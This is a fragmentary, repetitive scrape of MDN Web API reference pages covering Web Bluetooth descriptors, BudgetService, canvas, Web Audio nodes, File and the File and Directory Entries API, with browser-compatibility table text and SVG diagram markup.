... 70Notes Notes Windows 10.Edge Full support <=79Notes Full support <=79Notes Notes macOS only. Full support <=79Notes Disabled Notes Linux and versions of Windows earlier than 10.Disabled From version <=79: this feature is behind the #enable-experimental-
web-platform-features preference (needs to be set to enabled). Full support <=79Notes Notes Windows 10.Firefox No support NoIE No support NoOpera Full support 44Notes Full support ...
...No support NoOpera Full support 44Notes Full support 44Notes Notes macOS only. Full support 44Notes Disabled Notes Linux and versions of Windows earlier than 10.Disabled From version 44: this feature is behind the #enable-experimental-
web-platform-features preference (needs to be set to enabled). Full support 57Notes Notes Windows 10.Safari No support No
WebView Android No support NoChrome Android Full support 57Firefox Android No support ...
readValue() - Web APIs
oteGATTDescriptor.readValue() method returns a Promise that resolves to an ArrayBuffer holding a duplicate of the value property if it is available and supported. Otherwise it throws an error. Syntax BluetoothRemoteGATTDescriptor.readValue().then(function(value[]) { ... }) Returns A Promise that resolves to an ArrayBuffer. Specifications Specification Status Comment
Web BluetoothThe definition of 'readValue()' in that specification. Draft Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. DesktopMobileChromeEdgeFirefoxInternet ExplorerOperaSafariAndroid
webv...
...iOSSamsung InternetreadValue ExperimentalChrome Full support 57Notes Full support 57Notes Notes macOS only. Full support 57Notes Disabled Notes Linux and versions of Windows earlier than 10.Disabled From version 57: this feature is behind the #enable-experimental-
web-platform-features preference (needs to be set to enabled). To change preferences in Chrome, visit chrome://flags. Full support 70Notes Notes Windows 10.Edge Full support <=79Notes Full support <=79Notes Notes macOS only. Full support ...
... 70Notes Notes Windows 10.Edge Full support <=79Notes Full support <=79Notes Notes macOS only. Full support <=79Notes Disabled Notes Linux and versions of Windows earlier than 10.Disabled From version <=79: this feature is behind the #enable-experimental-
web-platform-features preference (needs to be set to enabled). Full support <=79Notes Notes Windows 10.Firefox No support NoIE No support NoOpera Full support 44Notes Full support ...
...No support NoOpera Full support 44Notes Full support 44Notes Notes macOS only. Full support 44Notes Disabled Notes Linux and versions of Windows earlier than 10.Disabled From version 44: this feature is behind the #enable-experimental-
web-platform-features preference (needs to be set to enabled). Full support 57Notes Notes Windows 10.Safari No support No
WebView Android No support NoChrome Android Full support 57Firefox Android No support ...
uuid - Web APIs
The BluetoothRemoteGATTDescriptor.uuid read-only property returns the UUID of the characteristic descriptor, for example '00002902-0000-1000-8000-00805f9b34fb' for theClient Characteristic Configuration descriptor. Syntax var uuid = BluetoothRemoteGATTDescriptor.uuid Returns A UUID. Specifications Specification Status Comment
Web BluetoothThe definition of 'uuid' in that specification. Draft Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. DesktopMobileChromeEdgeFirefoxInternet ExplorerOperaSafariAndroid
webviewChrome for AndroidFirefox for AndroidOpera ...
...i on iOSSamsung Internetuuid ExperimentalChrome Full support 57Notes Full support 57Notes Notes macOS only. Full support 57Notes Disabled Notes Linux and versions of Windows earlier than 10.Disabled From version 57: this feature is behind the #enable-experimental-
web-platform-features preference (needs to be set to enabled). To change preferences in Chrome, visit chrome://flags. Full support 70Notes Notes Windows 10.Edge Full support <=79Notes Full support <=79Notes Notes macOS only. Full support ...
... 70Notes Notes Windows 10.Edge Full support <=79Notes Full support <=79Notes Notes macOS only. Full support <=79Notes Disabled Notes Linux and versions of Windows earlier than 10.Disabled From version <=79: this feature is behind the #enable-experimental-
web-platform-features preference (needs to be set to enabled). Full support <=79Notes Notes Windows 10.Firefox No support NoIE No support NoOpera Full support 44Notes Full support ...
...No support NoOpera Full support 44Notes Full support 44Notes Notes macOS only. Full support 44Notes Disabled Notes Linux and versions of Windows earlier than 10.Disabled From version 44: this feature is behind the #enable-experimental-
web-platform-features preference (needs to be set to enabled). Full support 57Notes Notes Windows 10.Safari No support No
WebView Android No support NoChrome Android Full support 57Firefox Android No support ...
value - Web APIs
The BluetoothRemoteGATTDescriptor.value read-only property returns an ArrayBuffer containing the currently cached descriptor value. This value gets updated when the value of the descriptor is read. Syntax var characteristic = BluetoothRemoteGATTDescriptor.characteristic Returns An ArrayBuffer. Specifications Specification Status Comment
Web BluetoothThe definition of 'value' in that specification. Draft Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. DesktopMobileChromeEdgeFirefoxInternet ExplorerOperaSafariAndroid
webviewChrome for AndroidFirefox for A...
... on iOSSamsung Internetvalue ExperimentalChrome Full support 57Notes Full support 57Notes Notes macOS only. Full support 57Notes Disabled Notes Linux and versions of Windows earlier than 10.Disabled From version 57: this feature is behind the #enable-experimental-
web-platform-features preference (needs to be set to enabled). To change preferences in Chrome, visit chrome://flags. Full support 70Notes Notes Windows 10.Edge Full support <=79Notes Full support <=79Notes Notes macOS only. Full support ...
... 70Notes Notes Windows 10.Edge Full support <=79Notes Full support <=79Notes Notes macOS only. Full support <=79Notes Disabled Notes Linux and versions of Windows earlier than 10.Disabled From version <=79: this feature is behind the #enable-experimental-
web-platform-features preference (needs to be set to enabled). Full support <=79Notes Notes Windows 10.Firefox No support NoIE No support NoOpera Full support 44Notes Full support ...
...No support NoOpera Full support 44Notes Full support 44Notes Notes macOS only. Full support 44Notes Disabled Notes Linux and versions of Windows earlier than 10.Disabled From version 44: this feature is behind the #enable-experimental-
web-platform-features preference (needs to be set to enabled). Full support 57Notes Notes Windows 10.Safari No support No
WebView Android No support NoChrome Android Full support 57Firefox Android No support ...
writeValue() - Web APIs
The BluetoothRemoteGATTDescriptor.writeValue() method sets the value property to the bytes contained in an ArrayBuffer and returns a Promise. Syntax BluetoothRemoteGATTDescriptor.writeValue(array[]).then(function() { ... }) Parameters array Sets the value with the bytes contained in the array. Returns A Promise. Specifications Specification Status Comment
Web BluetoothThe definition of 'writeValue()' in that specification. Draft Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. DesktopMobileChromeEdgeFirefoxInternet ExplorerOperaSafariAndroid
webvie...
...OSSamsung InternetwriteValue ExperimentalChrome Full support 57Notes Full support 57Notes Notes macOS only. Full support 57Notes Disabled Notes Linux and versions of Windows earlier than 10.Disabled From version 57: this feature is behind the #enable-experimental-
web-platform-features preference (needs to be set to enabled). To change preferences in Chrome, visit chrome://flags. Full support 70Notes Notes Windows 10.Edge Full support <=79Notes Full support <=79Notes Notes macOS only. Full support ...
... 70Notes Notes Windows 10.Edge Full support <=79Notes Full support <=79Notes Notes macOS only. Full support <=79Notes Disabled Notes Linux and versions of Windows earlier than 10.Disabled From version <=79: this feature is behind the #enable-experimental-
web-platform-features preference (needs to be set to enabled). Full support <=79Notes Notes Windows 10.Firefox No support NoIE No support NoOpera Full support 44Notes Full support ...
...No support NoOpera Full support 44Notes Full support 44Notes Notes macOS only. Full support 44Notes Disabled Notes Linux and versions of Windows earlier than 10.Disabled From version 44: this feature is behind the #enable-experimental-
web-platform-features preference (needs to be set to enabled). Full support 57Notes Notes Windows 10.Safari No support No
WebView Android No support NoChrome Android Full support 57Firefox Android No support ...
BudgetService.getBudget() - Web APIs
udgetState[]){ ... }); Parameters None. Returns A Promise that resolves to an instance of BudgetState. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...a for AndroidSafari on iOSSamsung InternetgetBudget ExperimentalDeprecatedNon-standardChrome Full support 55Edge Full support <=79Firefox ? IE ? Opera Full support 42Safari ?
WebView Android Full support 55Chrome Android Full support 55Firefox Android ? Opera Android Full support 42Safari iOS ? Samsung Internet Android Full support 6.0L...
... ...
... ...
BudgetService.getCost() - Web APIs
{ ... }); Parameters operation Must be "silent-push". Returns A Promise that resolves to a number. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...era for AndroidSafari on iOSSamsung InternetgetCost ExperimentalDeprecatedNon-standardChrome Full support 55Edge Full support <=79Firefox ? IE ? Opera Full support 42Safari ?
WebView Android Full support 55Chrome Android Full support 55Firefox Android ? Opera Android Full support 42Safari iOS ? Samsung Internet Android Full support 6.0L...
... ...
... ...
BudgetService.reserve() - Web APIs
function(boolean){ ... }); Parameters operation desc Returns A Promise that resolves to a boolean. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...era for AndroidSafari on iOSSamsung Internetreserve ExperimentalDeprecatedNon-standardChrome Full support 55Edge Full support <=79Firefox ? IE ? Opera Full support 42Safari ?
WebView Android Full support 55Chrome Android Full support 55Firefox Android ? Opera Android Full support 42Safari iOS ? Samsung Internet Android Full support 6.0L...
... ...
... ...
BudgetState.budgetAt - Web APIs
ated processing budget at the specified time. Syntax var budget = BudgetState.budgetAt Value A double. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...pera for AndroidSafari on iOSSamsung InternetbudgetAt ExperimentalDeprecatedNon-standardChrome Full support 60Edge Full support <=79Firefox ? IE ? Opera No support NoSafari ?
WebView Android No support NoChrome Android Full support 60Firefox Android ? Opera Android No support NoSafari iOS ? Samsung Internet Android Full support 8.0Legen...
... ...
... ...
BudgetState.time - Web APIs
timestamp at which the budgetAt value is valid. Syntax var time = BudgetState.time Value A timestamp. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...oidOpera for AndroidSafari on iOSSamsung Internettime ExperimentalDeprecatedNon-standardChrome Full support 60Edge Full support <=79Firefox ? IE ? Opera No support NoSafari ?
WebView Android No support NoChrome Android Full support 60Firefox Android ? Opera Android No support NoSafari iOS ? Samsung Internet Android Full support 8.0Legen...
... ...
... ...
ByteLengthQueuingStrategy - Web APIs
tion of 'ByteLengthQueuingStrategy' in that specification. Living Standard Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...sabled From version 57: this feature is behind the dom.streams.enabled preference (needs to be set to true) and the javascript.options.streams preference (needs to be set to true). ...
...sabled From version 57: this feature is behind the dom.streams.enabled preference (needs to be set to true) and the javascript.options.streams preference (needs to be set to true). ...
...sabled From version 57: this feature is behind the dom.streams.enabled preference (needs to be set to true) and the javascript.options.streams preference (needs to be set to true). ...
CanvasRenderingContext2D - Web APIs
Adds a hit region to the canvas. CanvasRenderingContext2D.removeHitRegion() Removes the hit region with the specified id from the canvas. CanvasRenderingContext2D.clearHitRegions() Removes all hit regions from the canvas. Filters CanvasRenderingContext2D.filter Applies a CSS or SVG filter to the canvas, e.g., to change its brightness or bluriness. Non-standard APIs Blink and
WebKit Most of these APIs are deprecated and were removed shortly after Chrome 36. CanvasRenderingContext2D.clearShadow() Removes all shadow settings like CanvasRenderingContext2D.shadowColor and CanvasRenderingContext2D.shadowBlur. CanvasRenderingContext2D.drawImageFromRect() This is redundant with an equivalent overload of drawImage. CanvasRenderingContext2D.setAlpha() Use Canv...
...CanvasRenderingContext2D.miterLimit instead. CanvasRenderingContext2D.setStrokeColor() Use CanvasRenderingContext2D.strokeStyle instead. CanvasRenderingContext2D.setFillColor() Use CanvasRenderingContext2D.fillStyle instead. CanvasRenderingContext2D.setShadow() Use CanvasRenderingContext2D.shadowColor and CanvasRenderingContext2D.shadowBlur instead. CanvasRenderingContext2D.
webkitLineDash Use CanvasRenderingContext2D.getLineDash() and CanvasRenderingContext2D.setLineDash() instead. CanvasRenderingContext2D.
webkitLineDashOffset Use CanvasRenderingContext2D.lineDashOffset instead. CanvasRenderingContext2D.
webkitImageSmoothingEnabled Use CanvasRenderingContext2D.imageSmoothingEnabled instead. Blink only CanvasRenderingContext2D.isContextLost() Inspired...
...Use CanvasRenderingContext2D.getLineDash() and CanvasRenderingContext2D.setLineDash() instead. CanvasRenderingContext2D.
webkitLineDashOffset Use CanvasRenderingContext2D.lineDashOffset instead. CanvasRenderingContext2D.
webkitImageSmoothingEnabled Use CanvasRenderingContext2D.imageSmoothingEnabled instead. Blink only CanvasRenderingContext2D.isContextLost() Inspired by the same
WebGLRenderingContext method it returns true if the Canvas context has been lost, or false if not.
WebKit only CanvasRenderingContext2D.
webkitBackingStorePixelRatio The backing store size in relation to the canvas element. See High DPI Canvas. CanvasRenderingContext2D.
webkitGetImageDataHD Intended for HD backing stores, but removed from canvas specifications. CanvasRenderingConte...
...deringContext method it returns true if the Canvas context has been lost, or false if not.
WebKit only CanvasRenderingContext2D.
webkitBackingStorePixelRatio The backing store size in relation to the canvas element. See High DPI Canvas. CanvasRenderingContext2D.
webkitGetImageDataHD Intended for HD backing stores, but removed from canvas specifications. CanvasRenderingContext2D.
webkitPutImageDataHD Intended for HD backing stores, but removed from canvas specifications. Gecko only Prefixed APIs CanvasRenderingContext2D.mozCurrentTransform Sets or gets the current transformation matrix, see CanvasRenderingContext2D.currentTransform. CanvasRenderingContext2D.mozCurrentTransformInverse Sets or gets the current inversed transformation matrix. CanvasRenderin...
Finale - Web APIs
<< Previous Congratulations! You finished the Canvas tutorial! This knowledge will help you to make great 2D graphics on the
web. More examples and tutorials There are a variety of demos and further explanations about canvas on these sites: Codepen.io Front End Developer Playground & Code Editor in the Browser. HTML5 Canvas Tutorials Examples for most canvas APIs. Game development Gaming is one of the most popular computer activities. New technologies are constantly arriving to make it possible to develop better and more powerful games that can be run in any standards-compliant
web browser. Other
Web APIs These APIs might be useful when working further with canvas and graphics:
WebGL Advanced API for rendering complex graphics, including 3D. SVG Scalable V...
... Questions Stack Overflow Questions tagged with "canvas". ...
... Questions Stack Overflow Questions tagged with "canvas". ...
... Questions Stack Overflow Questions tagged with "canvas". ...
Comment - Web APIs
'. In XML, the character sequence '--' cannot be used within a comment. ...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266...
...h="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/CharacterData" target="_top"><rect x="266" y="1" width="130" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="331" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">CharacterData</text></a><polyline points="396,25 406,20 406,30 396,25" stroke="#D4DDE4" fill="none"/><line x1="406...
...height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="331" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">CharacterData</text></a><polyline points="396,25 406,20 406,30 396,25" stroke="#D4DDE4" fill="none"/><line x1="406" y1="25" x2="436" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Comment" target="_top"><rect x="436" y="1" width="75" height="50" fill="#F4F7F8" stroke="#D4DDE4" stroke-width="2px" /><text x="473.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Comment</text></a></svg></div> a:hover text { fill: #0095DD; pointer-events: all;} Properties This interface...
ConvolverNode() - Web APIs
Syntax var convolverNode = new ConvolverNode(context, options) Parameters Inherits parameters from the AudioNodeOptions dictionary. context A reference to an AudioContext. options Optional Options are as follows: audioBuffer: A mono, stereo, or 4-channel AudioBuffer containing the (possibly multichannel) impulse response used by the ConvolverNode to create the reverb effect. disableNormalization: A Boolean controlling whether the impulse response from the buffer will be scaled by an equal-power normalization, or not. The default is 'false'. Return value A new ConvolverNode object instance. ...
...normalization, or not. The default is 'false'. Return value A new ConvolverNode object instance. Exceptions Exception Explanation NotSupportedError The referenced AudioBuffer does not have the correct number of channels, or it has a different sample rate to the associated AudioContext. Specifications Specification Status Comment
Web Audio APIThe definition of 'ConvolverNode()' in that specification. Working Draft Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. DesktopMobileChromeEdgeFirefoxInternet ExplorerOperaSafari...
...PIThe definition of 'ConvolverNode()' in that specification. Working Draft Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...ernetConvolverNode() constructorChrome Full support 55Edge Full support <=79Firefox Full support 53IE No support NoOpera Full support 42Safari ?
WebView Android Full support 55Chrome Android Full support 55Firefox Android Full support 53Opera Android Full support 42Safari iOS ? Samsung Internet Android Full support ...
CountQueuingStrategy - Web APIs
efinition of 'CountQueuingStrategy' in that specification. Living Standard Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...sabled From version 57: this feature is behind the dom.streams.enabled preference (needs to be set to true) and the javascript.options.streams preference (needs to be set to true). ...
...sabled From version 57: this feature is behind the dom.streams.enabled preference (needs to be set to true) and the javascript.options.streams preference (needs to be set to true). ...
...sabled From version 57: this feature is behind the dom.streams.enabled preference (needs to be set to true) and the javascript.options.streams preference (needs to be set to true). ...
Crypto - Web APIs
Properties This interface implements properties defined on RandomSource. ...
... Properties This interface implements properties defined on RandomSource. ...
...omSource. Crypto.subtle Read only Secure context Returns a SubtleCrypto object providing access to common cryptographic primitives, like hashing, signing, encryption, or decryption. Methods This interface implements methods defined on RandomSource. Crypto.getRandomValues() Fills the passed TypedArray with cryptographically sound random values. Usage notes You should avoid using the
Web Crypto API on insecure contexts, even though the Crypto interface is present on insecure contexts, as is the Window.crypto property. In addition, the Crypto method getRandomValues() is available on insecure contexts, but the subtle property is not. In general, you probably should just treat Crypto as available only on secure contexts. Specifications Specification Status Comment ...
... Recommendation Initial definition ...
DelayNode() - Web APIs
Syntax var delayNode = new DelayNode(context); var delayNode = new DelayNode(context, options); Parameters Inherits parameters from the AudioNodeOptions dictionary. context A reference to an AudioContext or OfflineAudioContext. options Optional An object specifying the delay node options. Can contain the following members: delayTime: The initial delay time for the node, in seconds. The default is 0. maxDelayTime: The maximum delay time for the node, in seconds. Defaults to 1. ...
...e initial delay time for the node, in seconds. The default is 0. maxDelayTime: The maximum delay time for the node, in seconds. Defaults to 1. Return value A new DelayNode object instance. Example const audioCtx = new AudioContext(); const delayNode = new DelayNode(audioCtx, { delayTime: 0.5, maxDelayTime: 2, }); Specifications Specification Status Comment
Web Audio APIThe definition of 'DelayNode()' in that specification. Working Draft Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. DesktopMobileChromeEdgeFirefoxInternet ExplorerOperaSafariAndr...
...io APIThe definition of 'DelayNode()' in that specification. Working Draft Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 55Notes Notes Before version 59, the default values were not supported.Edge Full support <=79Firefox Full support 53IE No support NoOpera Full support 42Safari ? ...
DocumentFragment - Web APIs
t (even on reflow) or incur any performance impact when changes are made. ...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266...
...h="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/DocumentFragment" target="_top"><rect x="266" y="1" width="160" height="50" fill="#F4F7F8" stroke="#D4DDE4" stroke-width="2px" /><text x="346" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">DocumentFragment</text></a></svg></div> a:hover text { fill: #0095DD; pointer-events: all;} Construct...
... DOM using Node interface methods such as appendChild() or insertBefore(). Doing this moves the fragment's nodes into the DOM, leaving behind an empty DocumentFragment. Because all of the nodes are inserted into the document at once, only one reflow and render is triggered instead of potentially one for each node inserted if they were inserted separately. This interface is also of great use with
Web components: <template> elements contain a DocumentFragment in their HTMLTemplateElement.content property. An empty DocumentFragment can be created using the document.createDocumentFragment() method or the constructor. Example HTML <ul id="list"></ul> JavaScript var list = document.querySelector('#list') var fruits = ['Apple', 'Orange', 'Banana', 'Melon'] var fragment = new DocumentFragmen...
Event.initEvent() - Web APIs
cationThe definition of 'Event.initEvent()' in that specification. Obsolete Initial definition. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 17 No support ? -- 17Notes Notes Before Firefox 17, a call to this method after the dispatching of the event raised an exception instead of doing nothing.IE Full support YesOpera Full support YesSafari Full support Yes
WebView Android Full support YesChrome Android Full support YesFirefox Android Full support 17 Full support 17 No support ? -- 17Notes Notes Before Firefox 17, a call to this method after the dispa...
... ...
... ...
File - Web APIs
The File interface provides information about files and allows JavaScript in a
web page to access their content. File objects are generally retrieved from a FileList object returned as a result of a user selecting files using the <input> element, from a drag and drop operation's DataTransfer object, or from the mozGetAsFile() API on an HTMLCanvasElement. A File object is a specific kind of a Blob, and can be used in any context that a Blob can. In particular, FileReader, URL.createObjectURL(), createImageBitmap(), and XMLHttpRequest.send() accept both Blobs and Files. See Using files from
web applications for more information and examples. <div id="interfaceDiagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: mid...
...ee Using files from
web applications for more information and examples. ...
..." width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Blob</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#D4DDE4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/File" target="_top"><rect x="116" y="1" width="75" height="50" fill="#F4F7F8" stroke="#D4DDE4" stroke-width="2px" /><text x="153.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">File</text></a></svg></div> a:hover text { fill: #0095DD; pointer-events: all;} Constructor File() Returns a...
...nce properties File.prototype.lastModified Read only Returns the last modified time of the file, in millisecond since the UNIX epoch (January 1st, 1970 at Midnight). File.prototype.lastModifiedDate Read only Returns the last modified Date of the file referenced by the File object. File.prototype.nameRead only Returns the name of the file referenced by the File object. File.prototype.
webkitRelativePath Read only Returns the path the URL of the File is relative to. File implements Blob, so it also has the following properties available to it: File.prototype.size Read only Returns the size of the file in bytes. File.prototype.type Read only Returns the MIME type of the file. Instance methods The File interface doesn't define any methods, but inherits methods from t...
FileSystemEntry.copyTo() - Web APIs
rectory("log", {}, function(dirEntry) { fileEntry.copyTo(dirEntry); }, handleError); }, handleError); Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...dNon-standardChrome Full support 8Edge Full support 79Firefox No support NoIE No support NoOpera No support NoSafari No support No
WebView Android Full support <=37Chrome Android Full support 18Firefox Android No support NoOpera Android No support NoSafari iOS No support NoSamsung Internet Android ...
... ...
... ...
FileSystemEntry.getMetadata() - Web APIs
unction(dirEntry) { fileEntry.moveTo(dirEntry); }, handleError); } }); }, handleError); Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...dNon-standardChrome Full support 8Edge Full support 79Firefox No support NoIE No support NoOpera No support NoSafari No support No
WebView Android Full support <=37Chrome Android Full support 18Firefox Android No support NoOpera Android No support NoSafari iOS No support NoSamsung Internet Android ...
... ...
... ...
FileSystemEntry.moveTo() - Web APIs
unction(dirEntry) { fileEntry.moveTo(dirEntry); }, handleError); } }); }, handleError); Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...dNon-standardChrome Full support 8Edge Full support 79Firefox No support NoIE No support NoOpera No support NoSafari No support No
WebView Android Full support <=37Chrome Android Full support 18Firefox Android No support NoOpera Android No support NoSafari iOS No support NoSamsung Internet Android ...
... ...
... ...
FileSystemEntry.remove() - Web APIs
Entry) { fileEntry.remove(function() { /* the file was removed successfully */ }); }, handleError); Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...dNon-standardChrome Full support 8Edge Full support 79Firefox No support NoIE No support NoOpera No support NoSafari No support No
WebView Android Full support <=37Chrome Android Full support 18Firefox Android No support NoOpera Android No support NoSafari iOS No support NoSamsung Internet Android ...
... ...
... ...
FileSystemFileEntry.createWriter() - Web APIs
to the FileWriter object to be written to the file. This API has no official W3C or WHATWG specification. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...support 50 -- 52Notes No support 50 -- 52Notes Notes While the createWriter() method existed, it immediately called errorCallback with the NS_ERROR_DOM_SECURITY_ERR error.IE No support NoOpera No support NoSafari No support No
WebView Android Full support <=37Chrome Android Full support 18Firefox Android No support 50 -- 52Notes No support 50 -- 52Notes Notes While the createWriter() method existed, it immediately called errorCallback with the NS_ERROR_DOM_SECURITY_ERR error.Opera A...
... ...
... ...
File and Directory Entries API support in Firefox - Web APIs
Non-standard This feature is non-standard and is not on a standards track. Do not use it on production sites facing the
Web: it will not work for every user. There may also be large incompatibilities between implementations and the behavior may change in the future. The original File System API was created to let browsers implement support for accessing a sandboxed virtual file system on the user's storage device. Work to standardize the specification was abandoned back in 2012, but by that point, Google Chrome included its own implementation of the API. Over time, a number of popular sites and
Web applications came to use it, often without providing any means of falling back to standard APIs or even checking to be sure the API is available before using it. Mozi...
...es and
Web applications came to use it, often without providing any means of falling back to standard APIs or even checking to be sure the API is available before using it. Mozilla instead opted to implement other APIs which can be used to solve many of the same problems, such as IndexedDB; see the blog post Why no FileSystem API in Firefox? for more insights. ...
... This article describes how the Firefox implementation of the File and Directory Entries API differs from other implementations and/or the specification. ...
...Entry || window.Entry; Limitations in Firefox Next, let's look at limitations of the Firefox implementation of the API. In broad strokes, those limitations can be summarized as follows: Content scripts can't create file systems or initiate access to a file system. There are only two ways to get access to file system entries at this time: The <input> element, using the HTMLInputElement.
webkitEntries property to access an array of FileSystemEntry objects describing file system entries you can then read. Using drag and drop by calling the DataTransferItem.getAsEntry() method, which lets you get a FileSystemFileEntry or FileSystemDirectoryEntry for files dropped on a drop zone. You can't use the LocalFileSystem.requestFileSystem() method to get access to a specified local fil...
File and Directory Entries API - Web APIs
You can develop apps which read, write, and create files and/or directories in a virtual, sandboxed file system. Because this is a non-standard API, whose specification is not currently on a standards track, it's important to keep in mind that not all browsers implement it, and those that do may implement only small portions of it. Check the Browser compatibility section for details. Two very similar APIs exist depending on whether you desire asynchronous or synchronous behavior. The synchronous API is intended to be used inside a Worker and will return the values you desire. ...
...not return values; instead, you will need to supply a callback function to handle the response whenever it arrives. The Firefox implementation of the File and Directory Entries API is very limited; there is no support for creating files. Only for accessing files which are selected by the user in a file <input> element (see HTMLInputElement as well) or when a file or directory is provided to the
Web site or app using drag and drop. Firefox also does not implement the synchronous API. Check the browser compatibility for any part of the API you use carefully, and see File and Directory Entries API support in Firefox for more details. Getting access to a file system There are two ways to get access to file systems defined in the current specification draft: When handling a drop event for ...
